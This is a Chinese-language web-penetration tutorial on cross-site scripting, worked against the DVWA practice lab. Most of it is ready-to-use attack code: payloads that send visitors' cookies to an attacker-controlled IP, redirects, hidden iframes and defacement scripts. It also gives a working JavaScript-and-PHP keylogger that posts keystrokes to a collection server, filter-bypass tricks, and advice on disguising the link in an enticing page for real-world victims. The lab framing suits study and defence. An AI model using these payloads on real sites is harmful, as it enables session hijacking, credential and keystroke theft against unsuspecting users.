Web滲透-XSS

2021-12-24 紅客突擊隊

紅客突擊隊

Web滲透-XSS

前言
本節學習XSS
跨站腳本漏洞
1、XSS簡介
命名與 Java 原因無關,完全出於市場原因
使用最廣的客戶端腳本語言
通過 WEB 站點漏洞,向客戶端交付惡意執行代碼,實現對客戶端的攻擊目的
攻擊有
    注入客戶端腳本代碼
    盜取 cookie
    重定向
使用場景
    直接嵌入html:<script> alert('XSS'); </script>
    元素標籤事件:<body onload=alert('XSS')>
    圖片標籤:<img src="javascript:alert('XSS');">
    其他標籤:<iframe>, <div>, and <link>
    DOM對象,篡改頁面內容
漏洞形成的根源
    伺服器對用戶提交的數據過濾不嚴
    提交給伺服器的腳本直接返回給其他客戶端執行
    腳本咋客戶端執行惡意操作
XSS 漏洞類型
    存儲型(持久型)
    反射性(非持久)
    DOM 型:也是反射型,但不向瀏覽器發送請求
判斷方法:提交數據之後,伺服器原封不動的返回給客戶端,就可以判斷為存在 XSS 漏洞
2、反射型XSS
反射型XSS過程如下:
    攻擊者給目標機發送包含惡意代碼的數據包,如郵件、圖像
    目標機點擊後,將請求發送給伺服器
    伺服器沒有過濾,原封不動的返回目標機
    實現注入
漏洞PoC

<script>alert(『xss』)</script><a href='' onclick=alert('xss')>type</a><img src=http://1.1.1.1/a.ipg onerror=alert('xss')><script>window.location='http://1.1.1.1'</script><iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe><script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script><script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>

測試漏洞
在dvwa的XSS reflected輸入123123
原封不動返回123123
說明可能存在XSS漏洞
用burpsuite可以清晰查看


輸入

<a href=https://www.baidu.com>click</a>

如上圖會出現一個click
點擊連結之後,發現已經跳轉到其他頁面
輸入

<script>alert('xss')</script>

出現彈出窗且burpsuite上可以看到原樣返回的代碼
可以確定存在漏洞
重定向
輸入

 <script>window.location='https://www.baidu.com'</script>

輸入

 <script>window.location='http://192.168.1.102'</script>

重定向到kali的IP
在 kali 監聽 80 埠,被攻擊者的信息會被收集

框架攻擊
輸入

<iframe SRC="http://192.168.1.102/victim" height = "0" width ="0"></iframe>

在 kali 監聽 80 埠,被攻擊者的信息會被收集
提取cookie
輸入

<script>new Image().src="http://192.168.1.102/c.php?output="+document.cookie;</script>

篡改頁面
輸入

 <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>

注入惡意腳本
a.js裡內容,主要是竊取cookie

var img = new Image();img.src = "http://192.168.1.102:88/cookies.php?cookie="+document.cookie; #這裡是kali的IP

輸入

 <script src="http://1.1.1.1/a.js"></script> #1.1.1.1是肉雞的IP

然後在kali裡監聽88埠就可以獲取cookie
鍵盤記錄器
在kali的var/www/html中創建keylogger.js、keylogger.php和keylog.txt
keylogger.js如下

document.onkeypress = function(evt) {    evt = evt || window.event    key = String.fromCharCode(evt.charCode)    if (key)     {        var http = new XMLHttpRequest();        var param = encodeURI(key)        http.open("POST","http://192.168.1.102/keylogger.php",true); #keylogger.php:接收鍵盤記錄器信息的腳本        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");        http.send("key="+param);    }}

keylogger.php如下

<?php$key=$_POST['key'];$logfile="keylog.txt";$fp = fopen($logfile, "a");fwrite($fp, $key);fclose($fp);?>

chmod 777 keylog.txt #賦予寫入權限
輸入

<script src="http://192.168.1.102/Keylogger.js"></script>

然後被攻擊者的鍵盤輸入會被發送到攻擊者
現實中
為了更隱蔽點
可以將最終的url寫成html並放些會吸引人點的東西
dvwa源碼
Low 安全級別

<?phpif(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true;} else { echo '<pre>'; echo 'Hello ' . $_GET['name']; echo '</pre>';}?> 

Medium 安全級別

<?phpif(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true;} else { echo '<pre>'; echo 'Hello ' . str_replace('<script>', '', $_GET['name']); echo '</pre>'; }?> #代碼中發現是 str_replace('<script>', '', $_GET['name'])#輸入多層<script>#<scrip<script>t>alert('xss')</script>

High 安全級別

 <?phpif(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true;  } else { echo '<pre>'; echo 'Hello ' . htmlspecialchars($_GET['name']); echo '</pre>'; }?> #  htmlspecialchars($_GET['name']) 是將 "<" 和 ">" 分別編碼為 "&lt;" 和 "&gt;"# 可以將攻擊代碼寫在網頁本身的"<"、">"之間,攻擊代碼自身不含有"<"、">",這樣就不會被 htmlspecialchars() 過濾。# 比如:<a href='' οnclick=alert('xss')>type</a># dvwa 中的返回代碼中不存在本身自帶的"<"、">",,所以無法驗證。

3、存儲型XSS
長期存儲於伺服器端
每次用戶訪問都會被執行javascript腳本
測試漏洞
dvwa的XSS stored
同樣的,隨意輸入一些字符
伺服器原封不動的返回
說明可能存在XSS漏洞
用burpsuite可以清晰查看
輸入

 <script>alert('xss')</script>

返回彈窗且burpsuite上可以看到原樣返回的代碼
可以確定存在漏洞
注入惡意腳本
a.js裡內容,主要是竊取cookie

var img = new Image();img.src = "http://192.168.1.102:88/cookies.php?cookie="+document.cookie; #這裡是kali的IP

輸入

<script src="http://1.1.1.1/a.js"></script> #1.1.1.1是肉雞的IP

然後在kali裡監聽88埠就可以獲取cookie
伺服器源碼
Low 安全級別

 <?phpif(isset($_POST['btnSign'])){   $message = trim($_POST['mtxMessage']);   $name    = trim($_POST['txtName']);      $message = stripslashes($message);   $message = mysql_real_escape_string($message);      $name = mysql_real_escape_string($name);   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );}?> 

Medium 安全級別

<?phpif(isset($_POST['btnSign'])){   $message = trim($_POST['mtxMessage']);   $name    = trim($_POST['txtName']);      $message = trim(strip_tags(addslashes($message)));   $message = mysql_real_escape_string($message);   $message = htmlspecialchars($message);      $name = str_replace('<script>', '', $name);   $name = mysql_real_escape_string($name);   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );}?> # 分析 BurpSuite 可知,響應文件中的 name 只過濾了 <script>,未過濾 </script>,所以可以判斷是指過濾了 <script>,可以使用 嵌套<script># 輸入 <script>alert('xss')</script>

High 安全級別

 <?phpif(isset($_POST['btnSign'])){   $message = trim($_POST['mtxMessage']);   $name    = trim($_POST['txtName']);      $message = stripslashes($message);   $message = mysql_real_escape_string($message);   $message = htmlspecialchars($message);      $name = stripslashes($name);   $name = mysql_real_escape_string($name);    $name = htmlspecialchars($name);   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );}?> 

4、DOM型 XSS 漏洞
一套 JS 和其他語言可調用的標準的 API

輸入

 <script>var img=document.createElement("img");img.src="http://10.10.10.131:88/log?"+escape(document.cookie);</script>

結語
XSS危害較大
需理解原理
並做好防護
尤其注意不要瞎點一些奇怪的連結

相關焦點

  • Web.config在滲透中的作用
    前言 本文主要介紹web.config文件在滲透中的作用,即可上傳一個web.config時的思路,話不多說,開始正題。首先我們來看一下web.config是什麼,援引百度百科的介紹: Web.config文件是一個XML文本文件,它用來儲存ASP.NETWeb 應用程式的配置信息,它可以出現在應用程式的每一個目錄中。
  • xss繞waf幾種姿勢剖析
    >#統統可白嫖#掃碼找小助理白嫖滲透資料學習大佬的思路技巧作者:掌控安全學員——beize  xss攻擊是網頁中嵌入客戶端惡意腳本,而我們要進行xss攻擊時可以選擇使用的語言有javascript,actionscript,vbscript
  • 網盾極風雲:淺談WEB攻擊之XSS
    XSS(之所以簡寫為XSS而非CSS,主要是為了和層疊樣式表Cascading Style Sheets區分開)的英文全稱為Cross Site Scripting,是一種黑客向web頁面插入JS代碼以攻擊用戶的攻擊手段。
  • 2021暗月滲透測試全棧學習班
    漏洞的挖掘與利用02 xss利用平臺搭建03 xss的繞過技巧04 xss加載payload05 文件包含漏洞發現與利用06 文件包含截斷07 代碼執行漏洞與利用08 命令執行漏洞與利用09 CSRF漏洞和利用10 越權漏洞和利用11 ssrf漏洞和利用12 xml實體注入13 身份繞過漏洞cookie14 身份繞過漏洞session15 偽隨機碼漏洞與利用16 密碼找回漏洞和利用17 json劫持漏洞與利用
  • 【web安全】一次反射型xss的繞過
    2.開始以為這個平臺什麼防護都沒有,才發現是這個位置是遺漏了。另一個地方搜索的地方就被過濾了。 反思: 其實這個思路可能有師傅的文章寫過,如果有就饒我吧, 對於xss繞過是很有意思的,這個雖然是反射性
  • 2020暗月滲透測試全棧學習班
    漏洞的挖掘與利用02 xss利用平臺搭建03 xss的繞過技巧04 xss加載payload05 文件包含漏洞發現與利用06 文件包含截斷07 代碼執行漏洞與利用08 命令執行漏洞與利用09 CSRF漏洞和利用10 越權漏洞和利用11 ssrf漏洞和利用12 xml實體注入13 身份繞過漏洞cookie14 身份繞過漏洞session15 偽隨機碼漏洞與利用16 密碼找回漏洞和利用17 json劫持漏洞與利用
  • 常規web滲透測試漏洞合集
    xss漏洞漏洞描述  1、Web程序代碼中把用戶提交的參數未做過濾或過了不嚴就直接輸出到頁面,參數中的特殊字符打破了HTML頁面的原有邏輯,黑客可以利用該漏洞執行惡意HTML/JS代碼、構造蠕蟲傳播、篡改頁面實施釣魚攻擊、誘以及導用戶再次登錄,然後獲取其登錄憑證等。
  • 筆試題———1、網絡安全、Web安全、滲透測試筆試總結
    可以打開嗎xss如何盜取cookie?tcp、udp的區別及tcp三次握手,syn攻擊?證書要考哪些?DVWA是如何搭建的?滲透測試的流程是什麼xss如何防禦IIS伺服器應該做哪些方面的保護措施:虛擬機的幾種連接方式及原理xss有cookie一定可以無用戶名密碼登錄嗎?對稱加密 非對稱加密?
  • 前端Hack之XSS攻擊個人學習筆記
    XSS (Cross-Site Script, 跨站腳本)是由於 web 應用程式對用戶的輸入過濾不足而產生的一種漏洞。攻擊者可以利用網站漏洞把惡意的腳本代碼注入到網頁之中,當其他用戶瀏覽這些帶有惡意代碼的網頁時就會執行其中的惡意代碼,對受害者產生各種攻擊。
  • Google Calaboratory 的另一個 XSS 漏洞
    翻譯作者:DM(信安之路前端安全小組成員)原文地址:https://blog.bentkowski.info/2018/09/another-xss-in-google-colaboratory.html
  • 新手指南:DVWA-1.9全級別教程(完結篇,附實例)之XSS
    DVWA簡介DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。
  • web層的權限維持
    前言在實戰滲透中,經常需要上傳webshell
  • TCTF/0CTF2018 XSS Writeup
    2、站內有兩個xss點第一個是user.php的profile,儲存型xss,沒有任何過濾。值得注意的是,如果我們試圖通過index.php頁面的反射性xss來引入iframe標籤的話,如果iframe標籤中的連結是外域,會被xss auditor攔截。所以這裡需要用user.php的儲存型xss跳出。這樣利用鏈比較完整了。1、首先我們需要註冊兩個帳號,這裡使用ddog123和ddog321兩個帳號。
  • [網絡安全] 五.XSS跨站腳本攻擊詳解及分類-1
    最近開始學習網絡安全和系統安全,接觸到了很多新術語、新方法和新工具,作為一名初學者,感覺安全領域涉及的知識好廣、好雜,但同時也非常有意思。
  • 常見web漏洞(Sql注入、XSS、CSRF)原理以及攻防總結
    q="+document.cookie;document.body.append(img);<a href="http://xsstest.qq.com/search.php?2Fhacker.js%3E%3C%2Fscript%3E&commend=all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=1&pcat=food2011&style=grid&cat=">點擊就送998</a>假設http://xsstest.qq.com
  • web滲透測試對信息收集的方法介紹
    什麼是web滲透測試?一般是指通過模擬黑客的攻擊手法,對計算機網絡系統進行安全評估測試,如果發現系統中存在漏洞,向被測試系統的所有者提交滲透報告,並提出補救措施。這一章將通過滲透測試Web應用和伺服器,向大家介紹滲透測試的方法和技巧。
  • 紅隊滲透手冊之釣魚篇
    紅隊滲透手冊之信息收集篇    紅隊滲透手冊之彈藥篇    沒0day,靠社工。再例如幾個月前的某次演練,某司隊伍通過反代釣魚的手法,成功的拿到了目標的類似雲主機管理系統的web帳號密碼,接管一堆虛擬雲主機。
  • 「無文件」攻擊方式滲透實驗
    內網還布置若干臺web伺服器,一臺旁路告警設備(ips),他們都可以連接到外網,但是外網訪問不到內部的任何web伺服器其中web伺服器(linux)(172.21.132.113)前面放置防火牆,不可以被內網的其他web伺服器訪問到,但是它可以訪問到內網的其他伺服器,並且能夠連接到外網。
  • xss挖掘初上手
    =」alert(1) 此處的事件是當滑鼠放上去移走時觸發xss在Post數據包的參數的xss留言板的基本都是存儲xss一般都是閉合前面字符,再插入xss代碼。具體要看插入的xss在源碼中的位置。發布文章處就和自定義一個html頁面差不多。
  • 超新CTF培訓web網絡安全基礎入門滲透測試教程網盤資源百度雲分享
    超新CTF培訓web網絡安全基礎入門滲透測試教程 完整高清課程分享(全網課程都有,快來諮詢吧!!!)